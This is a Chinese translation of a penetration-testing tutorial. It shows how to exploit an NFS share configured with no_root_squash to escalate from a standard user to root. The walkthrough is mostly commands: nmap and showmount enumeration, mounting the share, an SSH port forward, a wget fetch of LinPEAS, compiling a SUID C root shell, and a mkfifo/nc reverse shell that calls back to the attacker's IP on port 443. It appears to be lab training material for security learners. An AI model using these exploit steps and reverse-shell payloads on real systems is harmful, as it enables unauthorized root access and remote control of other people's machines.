本文通过 Google 翻译 NFS Share no_root_squash – Linux Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。
在这篇文章中,我们将学习如何枚举和攻击 NFS 共享,以便将标准用户权限提升到 root。
我们首先使用 nmap 扫描目标上开放的端口,将发现 NFS 共享已开放。随后,我们与 NFS 服务交互,发现我们没有获得恶意攻击所需的权限。接下来,我们将在目标机器上立足,并使用手动方法和工具从目标主机内部枚举 NFS 服务器配置。在内部枚举 NFS 配置之后,我们发现其实我们可以恶意提升权限到 root,但是,这样做之前需要一些先做一些端口转发的操作。
NFS 是一种运行在端口 2049 上的网络文件共享协议,由服务器和客户端两个组件组成。共享目录是在 NFS 服务器上创建的,以便可以通过网络与其他 Linux 客户端共享文件,获得许可的用户可以将文件添加到共享中,然后与有权访问该目录的其他用户共享。
默认情况下,每个 NFS 共享均启用了 root_squash 功能,用以防止被共享的文件拥有 root:root 身份或特殊权限(即启用 root_squash 之后,共享文件均是 nobody:nogroup 身份)。而如果启用了 no_root_squash 功能,那么共享文件就可以以 root 的身份存在,我们将在本篇文章中看到,这很容易导致权限升级。
当寻找 NFS 共享时,我们通常会发现它们是对外开放的,因为它们需要由NFS客户端远程访问。这意味着我们可以通过 nmap 扫描查看目标是否正在运行 NFS 服务器并且具有可用于交互的共享。
如前所述,我们会在 nmap 扫描期间发现目标上的 NFS 共享是否打开,所以让我们看看它会是什么样子。
nmap -A -sV -sC -T4 172.16.1.175 -p- -oN scan.nmap
好吧,NFS 共享的端口是 2049,但我们对端口 111 也很感兴趣,因为那是 NFS 服务绑定的 rpc 端口,现在我们可以枚举该服务。
我们可以通过两种方式枚举 NFS 共享。第一种方法是使用 nmap,另一种方法是使用 showmount 命令。
通常我们使用 showmount 命令进行快速枚举。
showmount -e 172.16.1.175
上图显示文件系统的根目录中有一个名为 /share 的共享文件夹,其次,我们可以看到该共享应用了两组特权。
第一组权限仅为本地主机 (127.0.0.1/32) 设置,第二组权限为网络中的任何主机 (172.16.1.0/24) 设置。由于我们的攻击者计算机的 IP 地址为 172.16.1.30,因此我们可以与共享进行交互。
或者,我们可以使用 nmap 对共享进行更深入的枚举。通过运行以下命令,我们可以运行 nmap 所有 NFS 相关的脚本:
nmap -sT -sV --script nfs* 172.16.1.175 -p111
这比 showmount 命令的输出要详细得多,我们可以看到 nmap 实际上连接到了共享并列举了里面的文件。其中 /share 目录的所有权限都是 rwx,这意味着任何人都可以在其中读写;NoExecute 标志也已设置,因此我们无法执行共享中的任何二进制文件或脚本;共享里面只有一个文件:"welcome.txt";其余信息还包含可以挂载共享的 IP 范围以及共享的可用空间。
通过两种不同的方式枚举共享文件夹后,我们可以看到我们属于 172.16.1.0/24 网段,这意味着我们可以挂载此共享以查看 welcome.txt 文件,也可以尝试写入文件,在这里我们看看是否可以执行特权文件写入。
枚举完成后,我们现在可以专注于挂载共享。为此,我们可以测试几种不同的语法,以防其中一种不起作用。
我们需要做的第一件事是在攻击者机器上创建一个挂载点,以便与共享进行交互。
mkdir /mnt/share
创建挂载点后,我们就可以挂载共享并将其链接到挂载点。如果我们查看一下 nmap 扫描,就会发现它显示版本 2、3、4 都处于活动状态,因此让我们先尝试使用版本 2 进行挂载,因为它是最不安全的可用版本。
mount -o rw,vers=2 172.16.1.175:/share /mnt/share
我们得到的错误信息是不支持版本 2。因此,接下来我们需要测试版本 3,如果版本 3 也不支持,再测试版本 4。
mount -o rw,vers=3 172.16.1.175:/share /mnt/share
挂载成功,现在使用命令 df -h 查看所有挂载点,可以看到远程 172.16.1.175:/share 已挂载到本地 /mnt/share。
Perfect!现在,我们可以测试另一个命令。
mount -t nfs 172.16.1.175:/share /mnt/share -vvvv
这将尝试挂载默认情况下可用的最新版本,并且 -vvvv 参数可用于非常详细的输出以查看是否有错误产生。
我们可以看到此命令先是尝试使用版本 4 进行连接,但超时。不过,在上一个命令中说明版本 3 确实对我们有用,所以让我们继续。
我只是想说明,如果前两个命令不起作用,你可以尝试使用不同的命令来挂载共享。此外,最后一个故障排除技巧是在挂载失败时使用 -vvvv 来尝试确定根本原因。
此时,共享已挂载完成,导航进入 /mnt/share 文件夹后,我们准备新建一个文件以查看我们所拥有的权限。我们最感兴趣的是是否可以以 root 身份执行特权文件写入。
不幸的是,当我们创建测试文件时,文件的所有者和组均为 nobody:nogroup。这意味着该共享已启用 root_squash。不过,我们还不能就此放弃,因为该共享还向 127.0.0.1/32 开放,而后者包含一组不同的权限,例如启用了 no_root_squash。
为了进一步枚举此服务,我们需要在目标上立足。
如果我们发现自己能够以 root 身份写入,这就意味着 no_root_squash 已启用,而此时我们甚至还没有在受害者机器建立立足点,就已经找到了特权升级的路径!如果是这种情况,我们可以先创建一个 SUID 二进制文件来提供一个 root shell,然后等获得了立足点,我们就可以执行它用以直接升级到 root!
而现在,我们所能做的就是枚举此时共享内的文件,所以让我们看看 “welcome.txt” 有什么。
这告诉我们,新用户帐户的密码为 P@ssw0rd,他们需要在 7 天内更改密码。
此时,假设我们已经获得了凭证并在目标上站稳了脚跟,接下来我们将了解如何手动和使用 LinPEAS 枚举 NFS 服务器配置。
ssh juggernaut@172.16.1.175
要手动枚举 NFS 服务器的配置,我们需要做的就是查看 NFS 访问控制列表 /etc/exports 文件的内容。
cat /etc/exports
在这里,我们可以看到在这台服务器上,只有 /share 目录是共享的,而该目录有两个单独的条目。而令我们最感兴趣的是设置了 no_root_squash 的第二个条目设置。
第一个 /share 条目适用于外部 IP 客户端,在 ACL 设置中不包含 no_root_squash。这意味着 root_squash 是隐含的,这就是为什么我们的测试文件被写成 nobody:nogroup 的原因。如果启用了 no_root_squash,文件就会被写为 root。
第二个 /share 条目确实启用了 no_root_squash,这意味着在本地访问共享将允许特权文件写入!
唯一的问题是:我们如何才能以 root 身份在本地与该共享交互,从而在其中写入恶意文件呢?– 很简单,我们使用端口转发!
如果我们将该共享端口转发到攻击者机器,就能在攻击者机器内部挂载该共享。然后,由于我们在 "本地" 访问共享时是攻击者机器上的 root 用户,因此我们可以以 root 用户身份在内部编写恶意 SUID 可执行文件。之后,我们就可以用标准用户 juggernaut 执行该程序,并将我们的权限提升到 root。
在进入开发阶段之前,我们首先看看 LinPEAS 是如何为我们枚举 NFS 共享的。
LinPEAS 是终极的后漏洞枚举工具,此处我们省去了它的传输过程。
cd /dev/shm
wget http://172.16.1.30/linpeas.sh
chmod 755 ./linpeas.sh
当我们的工具准备就绪后,我们只需使用命令 ./linpeash.sh 即可执行脚本。运行完成后,我们需要找到 NFS 共享设置,可以通过滚动到 Software Information 部分,然后向下滚动到 Analyzing NFS Exports Files 来找到该设置。
正如我们在手动枚举中看到的那样,LinPEAS 发现 no_root_squash 已设置并将其标记为红色/黄色。
现在我们已经了解了如何枚举 NFS 共享的 ACL 设置,接下来就可以继续下面的示例:利用 no_root_squash 配置来获取 root shell。
如前所述,与本地共享进行交互的唯一方法是将其直接挂载在目标主机上,这需要我们已经是 root。但是,我们还可以通过另一种方法以 root 身份从 localhost 挂载此服务器。为此,我们需要利用端口转发。
由于我们知道 NFS 共享在端口 2049 上运行,并且还知道 juggernaut 用户可以通过 SSH 访问系统,因此将此端口转发到攻击者计算机的最简单方法是执行本地端口转发。
以下命令可用于将端口 2049 本地转发到我们的攻击者计算机:
ssh -N -L 127.0.0.1:2049:127.0.0.1:2049 juggernaut@172.16.1.175
看到提示挂起,说明端口转发成功;当我们在攻击者机器上打开一个新选项卡并运行 netstat -tulpn 命令时,我们应该看到端口 2049 在本地打开。
Great!现在,我们可以与该服务进行交互,就好像它是在攻击者的机器上运行一样。
最终,与我们远程和服务交互时不同,这次我们是在本地和服务交互,而 no_root_squash 已对 localhost 启用,所以我们可以以 root 身份写入文件了!
mount -t nfs -o port=2049 127.0.0.1:/share /mnt/share
共享挂载成功后,为了确认我们可以在共享中执行特权写入,我们需要创建一个测试文件。
BOOM!这次我们的测试文件是以 root 身份写入的!这意味着我们可以创建一个恶意二进制文件,或者将 /bin/bash 复制到共享中并设置 root:root 所有权和 SUID 权限,然后通过 SSH 返回受害者并使用 Juggernaut 执行它以提升我们的root权限!
让我们看看如何提升为 root 用户的两个例子。
在第一个示例中,我们将在攻击者计算机上制作自定义漏洞利用程序,然后将其放入共享文件夹中。
为了制作自定义漏洞,我们可以使用以下命令:
echo 'int main() { setgid(0); setuid(0); system("/bin/bash -p"); return 0; }' > /mnt/share/root_shell.c
我们使用 setgid(0) 和 setuid(0) 来允许程序以 root 身份运行。需要注意的是,使用 msfvenom 制作的漏洞在这里不起作用,因为它没有设置这些标志。
接下来,我们需要编译我们的漏洞利用程序,然后将其复制到共享中,并在共享后为其授予 SUID 权限。
注意:您将看到一些警告,但这些不是错误,该文件应该编译没有任何问题。
gcc ./root_shell.c -o ./root_shell
cp root_shell /mnt/share/
chmod +s /mnt/share/root_shell
完成后,我们可以检查 /mnt/share 文件夹以确认该二进制文件归 root 所有并设置了 SUID 位。
Perfect!我们可以看到权限集中的 “s”,并且二进制文件突出显示为红色,这表明 SUID 位已设置。
接下来,我们需要做的就是通过 SSH 回到受害者并导航到共享文件夹,以确保从内部和外面看到的都是一样的。
通过 SSH 返回受害者后,我们可以看到漏洞正在等待我们,只需使用 ./root_shell 执行它,我们就会进入 root shell。
如果您更喜欢反向 shell,请在制作漏洞利用程序时使用以下命令,然后在端口 443 上设置侦听器以在执行 shell 时捕获该 shell。
echo 'int main() { setgid(0); setuid(0); system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 172.16.1.30 443 >/tmp/f"); return 0; }' > /mnt/share/root_reverse_shell.c
进入 root shell 的一种更简单的方法是将 /bin/bash 复制到我们挂载的共享文件夹中,并将所有权更改为 root:root 并为其授予 SUID 权限。最后,我们只需要通过 SSH 作为 Juggernaut 返回受害者,然后执行 SUID bash 二进制文件以获得 root shell。
第一步必须在受害者身上完成。我们不能将攻击者计算机上的 /bin/bash 复制到共享中,然后在受害者计算机上执行。这很可能行不通,因为很可能会出现内核和 bash 版本不匹配的情况。
首先,我们需要作为 juggernaut 返回 SSH 会话,然后将 /bin/bash 复制到共享中。
有了共享中的 bash 文件,接下来我们需要回到攻击者机器上,将文件的所有权更改为 root 并授予它 SUID 权限。
chown root:root /mnt/share/bash
chmod +s /mnt/share/bash
Perfect!我们将所有权从 kali:kali 切换到 root:root,然后授予二进制 SUID 权限。
二进制文件的 所有者/组 之所以显示为攻击者机器上的 kali:kali,是因为受害者机器上的用户 juggernaut 的 uid 正好同攻击者机器上的用户 kali 的 uid 相同。
最后,我们只需要再次返回受害者 SSH 会话,然后执行二进制文件,我们就应该进入了 root shell。
从受害者的角度来看,一切看起来都很好。
真相时刻……
/share/bash -p
BOOM!它成功了,我们成功地进入了 root shell!